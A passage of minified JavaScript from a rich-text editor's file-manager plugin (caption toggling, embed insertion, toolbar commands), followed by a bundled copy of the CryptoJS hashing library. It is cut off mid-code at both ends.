r=/^[\d]+((px)|%)*$/g;y.removeAttr("width").removeAttr("height"),e.match(r)?y.css("width",e):y.css("width",""),t.match(r)?y.css("height",t):y.css("height",""),ct()&&(y.parents(".fr-img-caption").removeAttr("width").removeAttr("height"),e.match(r)?y.parents(".fr-img-caption").css("width",e):y.parents(".fr-img-caption").css("width",""),t.match(r)?y.parents(".fr-img-caption").css("height",t):y.parents(".fr-img-caption").css("height","")),n&&n.find("input:focus").blur(),Te(y)}},toggleCaption:function Ct(){var e;if(y&&!ct()){(e=y).parent().is("a")&&(e=y.parent());var t,n,r=y.parents("ul")&&0<y.parents("ul").length?y.parents("ul"):y.parents("ol")&&0<y.parents("ol").length?y.parents("ol"):[];if(0<r.length){var a=r.find("li").length,o=y.parents("li"),i=document.createElement("li");a-1===o.index()&&(r.append(i),i.innerHTML=" ")}e.attr("style")&&(n=-1<(t=e.attr("style").split(":")).indexOf("width")?t[t.indexOf("width")+1].replace(";",""):"");var s=k.opts.imageResizeWithPercent?(-1<n.indexOf("px")?null:n)||"100%":y.width()+"px";e.wrap('<div class="fr-img-space-wrap"><span '+(k.browser.mozilla?"":'contenteditable="false"')+'class="fr-img-caption '+y.attr("class")+'" style="'+(k.opts.useClasses?"":e.attr("style"))+'" draggable="false"></span><p class="fr-img-space-wrap2"> </p></div>'),e.wrap('<span class="fr-img-wrap"></span>'),y.after('<span class="fr-inner"'.concat(k.browser.mozilla?"":' contenteditable="true"',">").concat(kt.START_MARKER).concat(k.language.translate("Image Caption")).concat(kt.END_MARKER,"</span>")),y.removeAttr("class").removeAttr("style").removeAttr("width"),y.parents(".fr-img-caption").css("width",s),nt(!0),k.selection.restore()}else e=lt(),y.insertAfter(e),y.attr("class",e.attr("class").replace("fr-img-caption","")).attr("style",e.attr("style")),e.remove(),Te(y)},refreshEmbedButton:function Et(e){var t=k.popups.get("filesManager.insert");t&&t.find(".fr-files-embed-layer").hasClass("fr-active")&&e.addClass("fr-active").attr("aria-pressed",!0)},insertEmbed:function yt(e){void 0===e&&(e=k.popups.get("filesManager.insert").find(".fr-files-embed-layer textarea").val()||""),0===e.length||!kt.VIDEO_EMBED_REGEX.test(e)&&!kt.IMAGE_EMBED_REGEX.test(e)?(te(k.language.translate("Something went wrong. Please try again.")),kt.VIDEO_EMBED_REGEX.test(e)&&k.events.trigger("video.codeError",[e])):function s(e,t){var n,r;kt.VIDEO_EMBED_REGEX.test(e)?(n="video",r=k.opts.videoSplitHTML):kt.IMAGE_EMBED_REGEX.test(e)&&(n="image",r=k.opts.imageSplitHTML),k.events.focus(!0),k.selection.restore();var a=!1;y&&(Ze(),a=!0),k.html.insert('<span id="fr-inserted-file" contenteditable="true" draggable="true" class="fr-'.concat(n,' fr-jiv fr-deletable">').concat(e,"</span>"),!1,r),k.popups.hide("filesManager.insert");var o=k.$el.find(".fr-jiv");o.removeClass("fr-jiv"),"video"==n&&(o.toggleClass("fr-rv",k.opts.videoResponsive),function i(e,t,n){!k.opts.htmlUntouched&&k.opts.useClasses?(e.removeClass("fr-fvl fr-fvr fr-dvb fr-dvi"),e.addClass("fr-fv".concat(n[0]," fr-dv").concat(t[0]))):"inline"==t?(e.css({display:"inline-block"}),"center"==n?e.css({"float":"none"}):"left"==n?e.css({"float":"left"}):e.css({"float":"right"})):(e.css({display:"block",clear:"both"}),"left"==n?e.css({textAlign:"left"}):"right"==n?e.css({textAlign:"right"}):e.css({textAlign:"center"}))}(o,k.opts.videoDefaultDisplay,k.opts.videoDefaultAlign),o.toggleClass("fr-draggable",k.opts.videoMove),k.events.trigger(a?"video.replaced":"video.inserted",[o])),"image"==n&&(it(o,k.opts.imageDefaultDisplay,k.opts.imageDefaultAlign),o.find("img").removeClass("fr-dii"),o.find("img").addClass("fr-dib"),o.toggleClass("fr-draggable",k.opts.imageMove),k.events.trigger(a?"image.replaced":"image.inserted",[o])),t&&(f=o,k.selection.clear(),k.toolbar.disable(),k.video._editVideo(f))}(e)},hasCaption:ct,exitEdit:nt,edit:Te,cancelFileInsert:function Lt(){this.file_manager_dialog_open=!1,T.forEach(function(e,t){4!=e.readyState&&(e.abort(),q(t))});var e=k.popups.get("filesManager.insert");e.find(".fr-progress-bar").removeClass("fr-display-block").addClass("fr-none"),e.find('.fr-command[data-cmd="filesUpload"]').removeClass("fr-disabled"),e.find('.fr-command[data-cmd="filesByURL"]').removeClass("fr-disabled"),e.find('.fr-command[data-cmd="filesEmbed"]').removeClass("fr-disabled"),o=0,T=new Map,w=new Map,X(),k.popups.hide("filesManager.insert")},minimizePopup:function Tt(e){this.file_manager_dialog_open=!1,k.popups.hide("filesManager.insert"),X()},editImage:Se,saveImage:function wt(e){var t=M.get(i);t.link=window.URL.createObjectURL(new Blob(e,{type:"image/png"})),M.set(i,t)},_showErrorMessage:te,_showFileErrorMessage:ne,getFileThumbnail:be,deleteFile:q,checkAutoplay:Ie,checkInsertAllState:Z,_disableInsertCheckbox:Y,_getFileType:ke,isChildWindowOpen:function At(){return p},setChildWindowState:function _t(e){e!==undefined&&(p=e)},resetAllFilesCheckbox:X}},kt.DefineIcon("insertFiles",{NAME:"image",SVG_KEY:"fileManager"}),kt.RegisterShortcut(kt.KEYCODE.P,"insertFiles",null,"P"),kt.RegisterCommand("insertFiles",{title:"Insert Files",undo:!1,focus:!0,refreshAfterCallback:!1,popup:!0,callback:function(){this.popups.isVisible("filesManager.insert")?(this.$el.find(".fr-marker").length&&(this.events.disableBlur(),this.selection.restore()),this.popups.hide("filesManager.insert")):this.filesManager.showInsertPopup()},plugin:"filesManager"}),kt.DefineIcon("cloudIcon",{NAME:"cloudIcon",SVG_KEY:"uploadFiles"}),kt.DefineIcon("filesUpload",{NAME:"uploadFiles",SVG_KEY:"uploadFiles"}),kt.RegisterCommand("filesUpload",{title:"Upload Files",undo:!1,focus:!1,toggle:!0,callback:function(){this.filesManager.showLayer("files-upload")},refresh:function(e){this.filesManager.refreshUploadButton(e)}}),kt.DefineIcon("filesByURL",{NAME:"link",SVG_KEY:"insertLink"}),kt.RegisterCommand("filesByURL",{title:"By URL",undo:!1,focus:!1,toggle:!0,callback:function(){this.filesManager.showLayer("files-by-url")},refresh:function(e){this.filesManager.refreshByURLButton(e)}}),kt.DefineIcon("filesEmbed",{NAME:"code",SVG_KEY:"codeView"}),kt.RegisterCommand("filesEmbed",{title:"Embedded Code",undo:!1,focus:!1,toggle:!0,callback:function(){this.filesManager.showLayer("files-embed")},refresh:function(e){this.filesManager.refreshEmbedButton(e)}}),kt.DefineIcon("insertAll",{NAME:"insertAll",SVG_KEY:"fileInsert"}),kt.RegisterCommand("insertAll",{title:"Insert",undo:!1,focus:!1,toggle:!0,disabled:!0,callback:function(){this.filesManager.insertAllFiles()}}),kt.DefineIcon("deleteAll",{NAME:"remove",SVG_KEY:"remove"}),kt.RegisterCommand("deleteAll",{title:"Delete",undo:!1,focus:!1,toggle:!0,disabled:!0,callback:function(){this.filesManager.deleteAllFiles()}}),kt.DefineIcon("cancel",{NAME:"cancel",SVG_KEY:"cancel"}),kt.RegisterCommand("cancel",{title:"Cancel",undo:!1,focus:!1,toggle:!0,callback:function(){this.filesManager.cancelFileInsert()},refresh:function(e){}}),kt.DefineIcon("minimize",{NAME:"minimize",SVG_KEY:"minimize"}),kt.RegisterCommand("minimize",{title:"Minimize",undo:!1,focus:!1,toggle:!0,callback:function(){this.filesManager.minimizePopup("image.insert",!0)},refresh:function(e){this.filesManager.refreshEmbedButton(e)}}),kt.RegisterCommand("filesInsertByURL",{title:"Insert Image",undo:!0,refreshAfterCallback:!1,callback:function(){this.filesManager.insertByURL()},refresh:function(e){e.text(this.language.translate("Add"))}}),kt.RegisterCommand("imageInsertByUpload",{title:"Insert",undo:!0,refreshAfterCallback:!1,callback:function(e,t){},refresh:function(e){}}),kt.RegisterCommand("viewImage",{title:"View Image",undo:!0,refreshAfterCallback:!1,callback:function(e,t){},refresh:function(e){}}),kt.RegisterCommand("insertEmbed",{undo:!0,focus:!0,callback:function(){this.filesManager.insertEmbed(),this.popups.get("filesManager.insert").find("textarea")[0].value="",this.popups.get("filesManager.insert").find("textarea").removeClass("fr-not-empty")}}),kt.RegisterCommand("filesDismissError",{title:"OK",undo:!1,callback:function(){this.filesManager.hideProgressBar(!0)}}),kt.PLUGINS.cryptoJSPlugin=function(e){var t,d,n,r,a,o,i,f,s,l,c,p,u,h,g,v,m,b,C,E,y,L,T,w,A,_,S,k,x,R,N,M,O,I,D,B,F,P,$,H,U,z,K,V,W,G,Y,j,Z,q,X,Q,J,ee,te,ne,re,ae,oe,ie,se,le,ce,de,fe,pe,ue,he,ge,me,ve=ve||function(d,e){var t;if("undefined"!=typeof window&&window.crypto&&(t=window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(g){}var r=function r(){if(t){if("function"==typeof t.getRandomValues)try{return t.getRandomValues(new Uint32Array(1))[0]}catch(g){}if("function"==typeof t.randomBytes)try{return t.randomBytes(4).readInt32LE()}catch(g){}}throw new Error("Native crypto module could not be used to get secure random number.")},n=Object.create||function(){function n(){}return function(e){var t;return n.prototype=e,t=new n,n.prototype=null,t}}(),a={},o=a.lib={},i=o.Base={extend:function(e){var t=n(this);return e&&t.mixIn(e),t.hasOwnProperty("init")&&this.init!==t.init||(t.init=function(){t.$super.init.apply(this,arguments)}),(t.init.prototype=t).$super=this,t},create:function(){var e=this.extend();return e.init.apply(e,arguments),e},init:function(){},mixIn:function(e){for(var t in e)e.hasOwnProperty(t)&&(this[t]=e[t]);e.hasOwnProperty("toString")&&(this.toString=e.toString)},clone:function(){return this.init.prototype.extend(this)}},f=o.WordArray=i.extend({init:function(e,t){e=this.words=e||[],this.sigBytes=null!=t?t:4*e.length},toString:function(e){return(e||l).stringify(this)},concat:function(e){var t=this.words,n=e.words,r=this.sigBytes,a=e.sigBytes;if(this.clamp(),r%4)for(var o=0;o<a;o++){var i=n[o>>>2]>>>24-o%4*8&255;t[r+o>>>2]|=i<<24-(r+o)%4*8}else for(o=0;o<a;o+=4)t[r+o>>>2]=n[o>>>2];return this.sigBytes+=a,this},clamp:function(){var e=this.words,t=this.sigBytes;e[t>>>2]&=4294967295<<32-t%4*8,e.length=d.ceil(t/4)},clone:function e(){var e=i.clone.call(this);return e.words=this.words.slice(0),e},random:function(e){for(var t=[],n=0;n<e;n+=4)t.push(r());return new f.init(t,e)}}),s=a.enc={},l=s.Hex={stringify:function(e){for(var t=e.words,n=e.sigBytes,r=[],a=0;a<n;a++){var o=t[a>>>2]>>>24-a%4*8&255;r.push((o>>>4).toString(16)),r.push((15&o).toString(16))}return r.join("")},parse:function(e){for(var t=e.length,n=[],r=0;r<t;r+=2)n[r>>>3]|=parseInt(e.substr(r,2),16)<<24-r%8*4;return new f.init(n,t/2)}},c=s.Latin1={stringify:function(e){for(var t=e.words,n=e.sigBytes,r=[],a=0;a<n;a++){var o=t[a>>>2]>>>24-a%4*8&255;r.push(String.fromCharCode(o))}return r.join("")},parse:function(e){for(var t=e.length,n=[],r=0;r<t;r++)n[r>>>2]|=(255&e.charCodeAt(r))<<24-r%4*8;return new f.init(n,t)}},p=s.Utf8={stringify:function(e){try{return decodeURIComponent(escape(c.stringify(e)))}catch(t){throw new Error("Malformed UTF-8 data")}},parse:function(e){return c.parse(unescape(encodeURIComponent(e)))}},u=o.BufferedBlockAlgorithm=i.extend({reset:function(){this._data=new f.init,this._nDataBytes=0},_append:function(e){"string"==typeof e&&(e=p.parse(e)),this._data.concat(e),this._nDataBytes+=e.sigBytes},_process:function(e){var t,n=this._data,r=n.words,a=n.sigBytes,o=this.blockSize,i=a/(4*o),s=(i=e?d.ceil(i):d.max((0|i)-this._minBufferSize,0))*o,l=d.min(4*s,a);if(s){for(var c=0;c<s;c+=o)this._doProcessBlock(r,c);t=r.splice(0,s),n.sigBytes-=l}return new f.init(t,l)},clone:function e(){var e=i.clone.call(this);return e._data=this._data.clone(),e},_minBufferSize:0}),h=(o.Hasher=u.extend({cfg:i.extend(),init:function(e){this.cfg=this.cfg.extend(e),this.reset()},reset:function(){u.reset.call(this),this._doReset()},update:function(e){return this._append(e),this._process(),this},finalize:function(e){return e&&this._append(e),this._doFinalize()},blockSize:16,_createHelper:function(n){return function(e,t){return new n.init(t).finalize(e)}},_createHmacHelper:function(n){return function(e,t){return new h.HMAC.init(n,t).finalize(e)}}}),a.algo={});return a}(Math);return d=(t=ve).lib.WordArray,t.enc.Base64={stringify:function(e){var t=e.words,n=e.sigBytes,r=this._map;e.clamp();for(var a=[],o=0;o<n;o+=3)for(var i=(t[o>>>2]>>>24-o%4*8&255)<<16|(t[o+1>>>2]>>>24-(o+1)%4*8&255)<<8|t[o+2>>>2]>>>24-(o+2)%4*8&255,s=0;s<4&&o+.75*s<n;s++)a.push(r.charAt(i>>>6*(3-s)&63));var l=r.charAt(64);if(l)for(;a.length%4;)a.push(l);return a.join("")},parse:function(e){var t=e.length,n=this._map,r=this._reverseMap;if(!r){r=this._reverseMap=[];for(var a=0;a<n.length;a++)r[n.charCodeAt(a)]=a}var o=n.charAt(64);if(o){var i=e.indexOf(o);-1!==i&&(t=i)}return function c(e,t,n){for(var r=[],a=0,o=0;o<t;o++)if(o%4){var i=n[e.charCodeAt(o-1)]<<o%4*2,s=n[e.charCodeAt(o)]>>>6-o%4*2,l=i|s;r[a>>>2]|=l<<24-a%4*8,a++}return d.create(r,a)}(e,t,r)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="},function(d){var e=ve,t=e.lib,n=t.WordArray,r=t.Hasher,a=e.algo,_=[];!function(){for(var e=0;e<64;e++)_[e]=4294967296*d.abs(d.sin(e+1))|0}();var o=a.MD5=r.extend({_doReset:function(){this._hash=new n.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(e,t){for(var n=0;n<16;n++){var r=t+n,a=e[r];e[r]=16711935&(a<<8|a>>>24)|4278255360&(a<<24|a>>>8)}var o=this._hash.words,i=e[t+0],s=e[t+1],l=e[t+2],c=e[t+3],d=e[t+4],f=e[t+5],p=e[t+6],u=e[t+7],h=e[t+8],g=e[t+9],m=e[t+10],v=e[t+11],b=e[t+12],C=e[t+13],E=e[t+14],y=e[t+15],L=o[0],T=o[1],w=o[2],A=o[3];T=R(T=R(T=R(T=R(T=x(T=x(T=x(T=x(T=k(T=k(T=k(T=k(T=S(T=S(T=S(T=S(T,w=S(w,A=S(A,L=S(L,T,w,A,i,7,_[0]),T,w,s,12,_[1]),L,T,l,17,_[2]),A,L,c,22,_[3]),w=S(w,A=S(A,L=S(L,T,w,A,d,7,_[4]),T,w,f,12,_[5]),L,T,p,17,_[6]),A,L,u,22,_[7]),w=S(w,A=S(A,L=S(L,T,w,A,h,7,_[8]),T,w,g,12,_[9]),L,T,m,17,_[10]),A,L,v,22,_[11]),w=S(w,A=S(A,L=S(L,T,w,A,b,7,_[12]),T,w,C,12,_[13]),L,T,E,17,_[14]),A,L,y,22,_[15]),w=k(w,A=k(A,L=k(L,T,w,A,s,5,_[16]),T,w,p,9,_[17]),L,T,v,14,_[18]),A,L,i,20,_[19]),w=k(w,A=k(A,L=k(L,T,w,A,f,5,_[20]),T,w,m,9,_[21]),L,T,y,14,_[22]),A,L,d,20,_[23]),w=k(w,A=k(A,L=k(L,T,w,A,g,5,_[24]),T,w,E,9,_[25]),L,T,c,14,_[26]),A,L,h,20,_[27]),w=k(w,A=k(A,L=k(L,T,w,A,C,5,_[28]),T,w,l,9,_[29]),L,T,u,14,_[30]),A,L,b,20,_[31]),w=x(w,A=x(A,L=x(L,T,w,A,f,4,_[32]),T,w,h,11,_[33]),L,T,v,16,_[34]),A,L,E,23,_[35]),w=x(w,A=x(A,L=x(L,T,w,A,s,4,_[36]),T,w,d,11,_[37]),L,T,u,16,_[38]),A,L,m,23,_[39]),w=x(w,A=x(A,L=x(L,T,w,A,C,4,_[40]),T,w,i,11,_[41]),L,T,c,16,_[42]),A,L,p,23,_[43]),w=x(w,A=x(A,L=x(L,T,w,A,g,4,_[44]),T,w,b,11,_[45]),L,T,y,16,_[46]),A,L,l,23,_[47]),w=R(w,A=R(A,L=R(L,T,w,A,i,6,_[48]),T,w,u,10,_[49]),L,T,E,15,_[50]),A,L,f,21,_[51]),w=R(w,A=R(A,L=R(L,T,w,A,b,6,_[52]),T,w,c,10,_[53]),L,T,m,15,_[54]),A,L,s,21,_[55]),w=R(w,A=R(A,L=R(L,T,w,A,h,6,_[56]),T,w,y,10,_[57]),L,T,p,15,_[58]),A,L,C,21,_[59]),w=R(w,A=R(A,L=R(L,T,w,A,d,6,_[60]),T,w,v,10,_[61]),L,T,l,15,_[62]),A,L,g,21,_[63]),o[0]=o[0]+L|0,o[1]=o[1]+T|0,o[2]=o[2]+w|0,o[3]=o[3]+A|0},_doFinalize:function(){var e=this._data,t=e.words,n=8*this._nDataBytes,r=8*e.sigBytes;t[r>>>5]|=128<<24-r%32;var a=d.floor(n/4294967296),o=n;t[15+(r+64>>>9<<4)]=16711935&(a<<8|a>>>24)|4278255360&(a<<24|a>>>8),t[14+(r+64>>>9<<4)]=16711935&(o<<8|o>>>24)|4278255360&(o<<24|o>>>8),e.sigBytes=4*(t.length+1),this._process();for(var i=this._hash,s=i.words,l=0;l<4;l++){var c=s[l];s[l]=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8)}return i},clone:function e(){var e=r.clone.call(this);return e._hash=this._hash.clone(),e}});function S(e,t,n,r,a,o,i){var s=e+(t&n|~t&r)+a+i;return(s<<o|s>>>32-o)+t}function k(e,t,n,r,a,o,i){var s=e+(t&r|n&~r)+a+i;return(s<<o|s>>>32-o)+t}function x(e,t,n,r,a,o,i){var s=e+(t^n^r)+a+i;return(s<<o|s>>>32-o)+t}function R(e,t,n,r,a,o,i){var s=e+(n^(t|~r))+a+i;return(s<<o|s>>>32-o)+t}e.MD5=r._createHelper(o),e.HmacMD5=r._createHmacHelper(o)}(Math),r=(n=ve).lib,a=r.WordArray,o=r.Hasher,i=n.algo,f=[],s=i.SHA1=o.extend({_doReset:function(){this._hash=new a.init([1732584193,4023233417,2562383102,271733878,3285377520])},_doProcessBlock:function(e,t){for(var n=this._hash.words,r=n[0],a=n[1],o=n[2],i=n[3],s=n[4],l=0;l<80;l++){if(l<16)f[l]=0|e[t+l];else{var c=f[l-3]^f[l-8]^f[l-14]^f[l-16];f[l]=c<<1|c>>>31}var d=(r<<5|r>>>27)+s+f[l];d+=l<20?1518500249+(a&o|~a&i):l<40?1859775393+(a^o^i):l<60?(a&o|a&i|o&i)-1894007588:(a^o^i)-899497514,s=i,i=o,o=a<<30|a>>>2,a=r,r=d}n[0]=n[0]+r|0,n[1]=n[1]+a|0,n[2]=n[2]+o|0,n[3]=n[3]+i|0,n[4]=n[4]+s|0},_doFinalize:function(){var e=this._data,t=e.words,n=8*this._nDataBytes,r=8*e.sigBytes;return t[r>>>5]|=128<<24-r%32,t[14+(r+64>>>9<<4)]=Math.floor(n/4294967296),t[15+(r+64>>>9<<4)]=n,e.sigBytes=4*t.length,this._process(),this._hash},clone:function e(){var e=o.clone.call(this);return e._hash=this._hash.clone(),e}}),n.SHA1=o._createHelper(s),n.HmacSHA1=o._createHmacHelper(s),function(a){var e=ve,t=e.lib,n=t.WordArray,r=t.Hasher,o=e.algo,i=[],C=[];!function(){function e(e){for(var t=a.sqrt(e),n=2;n<=t;n++)if(!(e%n))return!1;return!0}function t(e){return 4294967296*(e-(0|e))|0}for(var n=2,r=0;r<64;)e(n)&&(r<8&&(i[r]=t(a.pow(n,.5))),C[r]=t(a.pow(n,1/3)),r++),n++}();var E=[],s=o.SHA256=r.extend({_doReset:function(){this._hash=new n.init(i.slice(0))},_doProcessBlock:function(e,t){for(var n=this._hash.words,r=n[0],a=n[1],o=n[2],i=n[3],s=n[4],l=n[5],c=n[6],d=n[7],f=0;f<64;f++){if(f<16)E[f]=0|e[t+f];else{var p=E[f-15],u=(p<<25|p>>>7)^(p<<14|p>>>18)^p>>>3,h=E[f-2],g=(h<<15|h>>>17)^(h<<13|h>>>19)^h>>>10;E[f]=u+E[f-7]+g+E[f-16]}var m=r&a^r&o^a&o,v=(r<<30|r>>>2)^(r<<19|r>>>13)^(r<<10|r>>>22),b=d+((s<<26|s>>>6)^(s<<21|s>>>11)^(s<<7|s>>>25))+(s&l^~s&c)+C[f]+E[f];d=c,c=l,l=s,s=i+b|0,i=o,o=a,a=r,r=b+(v+m)|0}n[0]=n[0]+r|0,n[1]=n[1]+a|0,n[2]=n[2]+o|0,n[3]=n[3]+i|0,n[4]=n[4]+s|0,n[5]=n[5]+l|0,n[6]=n[6]+c|0,n[7]=n[7]+d|0},_doFinalize:function(){var e=this._data,t=e.words,n=8*this._nDataBytes,r=8*e.sigBytes;return t[r>>>5]|=128<<24-r%32,t[14+(r+64>>>9<<4)]=a.floor(n/4294967296),t[15+(r+64>>>9<<4)]=n,e.sigBytes=4*t.length,this._process(),this._hash},clone:function e(){var e=r.clone.call(this);return e._hash=this._hash.clone(),e}});e.SHA256=r._createHelper(s),e.HmacSHA256=r._createHmacHelper(s)}(Math),function(){var e=ve,a=e.lib.WordArray,t=e.enc;t.Utf16=t.Utf16BE={stringify:function(e){for(var t=e.words,n=e.sigBytes,r=[],a=0;a<n;a+=2){var o=t[a>>>2]>>>16-a%4*8&65535;r.push(String.fromCharCode(o))}return r.join("")},parse:function(e){for(var t=e.length,n=[],r=0;r<t;r++)n[r>>>1]|=e.charCodeAt(r)<<16-r%2*16;return a.create(n,2*t)}};function i(e){return e<<8&4278255360|e>>>8&16711935}t.Utf16LE={stringify:function(e){for(var t=e.words,n=e.sigBytes,r=[],a=0;a<n;a+=2){var o=i(t[a>>>2]>>>16-a%4*8&65535);r.push(String.fromCharCode(o))}return r.join("")},parse:function(e){for(var t=e.length,n=[],r=0;r<t;r++)n[r>>>1]|=i(e.charCodeAt(r)<<16-r%2*16);return a.create(n,2*t)}}}(),function(){if("function"==typeof ArrayBuffer){var e=ve.lib.WordArray,a=e.init;(e.init=function(e){if(e instanceof ArrayBuffer&&(e=new Uint8Array(e)),(e instanceof Int8Array||"undefined"!=typeof Uint8ClampedArray&&e instanceof Uint8ClampedArray||e instanceof Int16Array||e instanceof Uint16Array||e instanceof Int32Array||e instanceof Uint32Array||e instanceof Float32Array||e instanceof Float64Array)&&(e=new Uint8Array(e.buffer,e.byteOffset,e.byteLength)),e instanceof Uint8Array){for(var t=e.byteLength,n=[],r=0;r<t;r++)n[r>>>2]|=e[r]<<24-r%4*8;a.call(this,n,t)}else a.apply(this,arguments)}).prototype=e}}(),function(e){var t=ve,n=t.lib,r=n.WordArray,a=n.Hasher,o=t.algo,T=r.create([0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,7,4,13,1,10,6,15,3,12,0,9,5,2,14,11,8,3,10,14,4,9,15,8,1,2,7,0,6,13,11,5,12,1,9,11,10,0,8,12,4,13,3,7,15,14,5,6,2,4,0,5,9,7,12,2,10,14,1,3,8,11,6,15,13]),w=r.create([5,14,7,0,9,2,11,4,13,6,15,8,1,10,3,12,6,11,3,7,0,13,5,10,14,15,8,12,4,9,1,2,15,5,1,3,7,14,6,9,11,8,12,2,10,0,4,13,8,6,4,1,3,11,15,0,5,12,2,13,9,7,10,14,12,15,10,4,1,5,8,7,6,2,13,14,0,3,9,11]),A=r.create([11,14,15,12,5,8,7,9,11,13,14,15,6,7,9,8,7,6,8,13,11,9,7,15,7,12,15,9,11,7,13,12,11,13,6,7,14,9,13,15,14,8,13,6,5,12,7,5,11,12,14,15,14,15,9,8,9,14,5,6,8,6,5,12,9,15,5,11,6,8,13,12,5,12,13,14,11,8,5,6]),_=r.create([8,9,9,11,13,15,15,5,7,7,8,11,14,14,12,6,9,13,15,7,12,8,9,11,7,7,12,7,6,15,13,11,9,7,15,11,8,6,6,14,12,13,5,14,13,13,7,5,15,5,8,11,14,14,6,14,6,9,12,9,12,5,15,8,8,5,12,9,12,5,14,6,8,13,6,5,15,13,11,11]),S=r.create([0,1518500249,1859775393,2400959708,2840853838]),k=r.create([1352829926,1548603684,1836072691,2053994217,0]),i=o.RIPEMD160=a.extend({_doReset:function(){this._hash=r.create([1732584193,4023233417,2562383102,271733878,3285377520])},_doProcessBlock:function(e,t){for(var n=0;n<16;n++){var r=t+n,a=e[r];e[r]=16711935&(a<<8|a>>>24)|4278255360&(a<<24|a>>>8)}var o,i,s,l,c,d,f,p,u,h,g,m=this._hash.words,v=S.words,b=k.words,C=T.words,E=w.words,y=A.words,L=_.words;d=o=m[0],f=i=m[1],p=s=m[2],u=l=m[3],h=c=m[4];for(n=0;n<80;n+=1)g=o+e[t+C[n]]|0,g+=n<16?x(i,s,l)+v[0]:n<32?R(i,s,l)+v[1]:n<48?N(i,s,l)+v[2]:n<64?M(i,s,l)+v[3]:O(i,s,l)+v[4],g=(g=I(g|=0,y[n]))+c|0,o=c,c=l,l=I(s,10),s=i,i=g,g=d+e[t+E[n]]|0,g+=n<16?O(f,p,u)+b[0]:n<32?M(f,p,u)+b[1]:n<48?N(f,p,u)+b[2]:n<64?R(f,p,u)+b[3]:x(f,p,u)+b[4],g=(g=I(g|=0,L[n]))+h|0,d=h,h=u,u=I(p,10),p=f,f=g;g=m[1]+s+u|0,m[1]=m[2]+l+h|0,m[2]=m[3]+c+d|0,m[3]=m[4]+o+f|0,m[4]=m[0]+i+p|0,m[0]=g},_doFinalize:function(){var e=this._data,t=e.words,n=8*this._nDataBytes,r=8*e.sigBytes;t[r>>>5]|=128<<24-r%32,t[14+(r+64>>>9<<4)]=16711935&(n<<8|n>>>24)|4278255360&(n<<24|n>>>8),e.sigBytes=4*(t.length+1),this._process();for(var a=this._hash,o=a.words,i=0;i<5;i++){var s=o[i];o[i]=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8)}return a},clone:function e(){var e=a.clone.call(this);return e._hash=this._hash.clone(),e}});function x(e,t,n){return e^t^n}function R(e,t,n){return e&t|~e&n}function N(e,t,n){return(e|~t)^n}function M(e,t,n){return e&n|t&~n}function O(e,t,n){return e^(t|~n)}function I(e,t){return e<<t|e>>>32-t}t.RIPEMD160=a._createHelper(i),t.HmacRIPEMD160=a._createHmacHelper(i)}(Math),c=(l=ve).lib.Base,p=l.enc.Utf8,l.algo.HMAC=c.extend({init:function(e,t){e=this._hasher=new e.init,"string"==typeof t&&(t=p.parse(t));var n=e.blockSize,r=4*n;t.sigBytes>r&&(t=e.finalize(t)),t.clamp();for(var a=this._oKey=t.clone(),o=this._iKey=t.clone(),i=a.words,s=o.words,l=0;l<n;l++)i[l]^=1549556828,s[l]^=909522486;a.sigBytes=o.sigBytes=r,this.reset()},reset:function(){var e=this._hasher;e.reset(),e.update(this._iKey)},update:function(e){return this._hasher.update(e),this},finalize:function(e){var t=this._hasher,n=t.finalize(e);return t.reset(),t.finalize(this._oKey.clone().concat(n))}}),h=(u=ve).lib,g=h.Base,v=h.WordArray,m=u.algo,b=m.SHA1,C=m.HMAC,E=m.PBKDF2=g.extend({cfg:g.extend({keySize:4,hasher:b,iterations:1}),init:function(e){this.cfg=this.cfg.extend(e)},compute:function(e,t){for(var n=this.cfg,r=C.create(n.hasher,e),a=v.create(),o=v.create([1]),i=a.words,s=o.words,l=n.keySize,c=n.iterations;i.length<l;){var d=r.update(t).finalize(o);r.reset();for(var f=d.words,p=f.length,u=d,h=1;h<c;h++){u=r.finalize(u),r.reset();for(var g=u.words,m=0;m<p;m++)f[m]^=g[m]}a.concat(d),s[0]++}return a.sigBytes=4*l,a}}),u.PBKDF2=function(e,t,n){return E.create(n).compute(e,t)},L=(y=ve).lib,T=L.Base,w=L.WordArray,A=y.algo,_=A.MD5,S=A.EvpKDF=T.extend({cfg:T.extend({keySize:4,hasher:_,iterations:1}),init:function(e){this.cfg=this.cfg.extend(e)},compute:function(e,t){for(var n,r=this.cfg,a=r.hasher.create(),o=w.create(),i=o.words,s=r.keySize,l=r.iterations;i.length<s;){n&&a.update(n),n=a.update(e).finalize(t),a.reset();for(var c=1;c<l;c++)n=a.finalize(n),a.reset();o.concat(n)}return o.sigBytes=4*s,o}}),y.EvpKDF=function(e,t,n){return S.create(n).compute(e,t)},x=(k=ve).lib.WordArray,R=k.algo,N=R.SHA256,M=R.SHA224=N.extend({_doReset:function(){this._hash=new x.init([3238371032,914150663,812702999,4144912697,4290775857,1750603025,1694076839,3204075428])},_doFinalize:function(){var e=N._doFinalize.call(this);return e.sigBytes-=4,e}}),k.SHA224=N._createHelper(M),k.HmacSHA224=N._createHmacHelper(M),I=(O=ve).lib,D=I.Base,B=I.WordArray,(F=O.x64={}).Word=D.extend({init:function(e,t){this.high=e,this.low=t}}),F.WordArray=D.extend({init:function(e,t){e=this.words=e||[],this.sigBytes=null!=t?t:8*e.length},toX32:function(){for(var e=this.words,t=e.length,n=[],r=0;r<t;r++){var a=e[r];n.push(a.high),n.push(a.low)}return B.create(n,this.sigBytes)},clone:function e(){for(var e=D.clone.call(this),t=e.words=this.words.slice(0),n=t.length,r=0;r<n;r++)t[r]=t[r].clone();return e}}),function(p){var e=ve,t=e.lib,u=t.WordArray,r=t.Hasher,d=e.x64.Word,n=e.algo,x=[],R=[],N=[];!function(){for(var e=1,t=0,n=0;n<24;n++){x[e+5*t]=(n+1)*(n+2)/2%64;var r=(2*e+3*t)%5;e=t%5,t=r}for(e=0;e<5;e++)for(t=0;t<5;t++)R[e+5*t]=t+(2*e+3*t)%5*5;for(var a=1,o=0;o<24;o++){for(var i=0,s=0,l=0;l<7;l++){if(1&a){var 